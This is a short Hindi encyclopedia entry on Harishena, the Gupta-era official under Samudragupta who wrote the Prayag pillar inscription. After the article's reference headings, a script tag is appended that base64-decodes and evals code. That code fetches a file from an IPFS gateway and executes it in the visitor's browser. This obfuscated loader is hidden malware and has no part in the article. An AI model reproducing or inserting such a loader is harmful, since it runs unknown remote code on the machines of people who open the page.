हरिषेण

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

महादण्ड नायक ध्रुवभूति के पुत्र, संधिविग्रहिक महादण्डनायक हरिषेण समुद्रगुप्त के समय में 'सन्धिविग्रहिक कुमारामात्य' एवं 'महादण्डनायक' के पद पर कार्यरत था। हरिषण की शैली के विषय में जानकारी 'प्रयाग स्तम्भ' लेख से मिलती है। हरिषण द्वारा स्तम्भ लेख में प्रयुक्त छन्द कालिदास की शैली की याद दिलाते हैं। हरिषेण का पूरा लेख 'चंपू (गद्यपद्य-मिश्रित) शैली' का एक अनोखा उदाहरण है।


टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>